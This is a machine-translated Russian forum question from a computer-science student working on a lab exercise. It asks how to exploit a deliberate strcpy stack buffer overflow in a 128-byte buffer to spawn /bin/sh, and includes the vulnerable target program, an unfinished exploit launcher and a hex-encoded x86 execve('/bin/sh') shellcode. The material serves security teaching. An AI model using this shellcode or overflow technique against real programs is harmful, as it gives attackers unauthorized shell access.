Программа эксплойта для преднамеренного переполнения буфера

Я пытаюсь решить эту проблему на одном из моих классов по компьютерным наукам, я ' Я использовал все ресурсы и по-прежнему испытываю проблемы, я был бы очень признателен, если бы кто-нибудь мог дать какое-то представление.

У меня есть эта «цель». Мне нужно выполнить execve («/ bin / sh») с переполнением буфера эксплуатировать. При переполнении buf

при выполнении небезопасной команды strcpy указатель обратно в буфер появляется в том месте, где система ожидает найти адрес возврата.

target.c

int bar(char *arg, char *out)
{
 strcpy(out,arg);
 return 0;
}

int foo(char *argv[])
{
 char buf[128];
 bar(argv[1], buf);
}

int main(int argc, char *argv[])
{
 if (argc != 2)
 {
  fprintf(stderr, "target: argc != 2");
  exit(EXIT_FAILURE);
 }
 foo(argv);
 return 0;
}

exploit.c

#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
  char *args[3];
  char *env[1];

  args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
  env[0] = NULL;

  if (0 > execve(TARGET, args, env))
    fprintf(stderr, "execve failed.\n");

  return 0;
}

shellcode.h

static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

Я понимаю, что мне нужно заполнить argv [1] более 128 байтами, причем байты более 128 являются адресом возврата, который должен быть указан обратно в буфер, чтобы он выполнял / bin / sh внутри. Это правильно? Может ли кто-нибудь предоставить следующий шаг?

Большое спасибо за любую помощь.

5
задан Ethan Heilman 20 March 2012 в 19:50
поделиться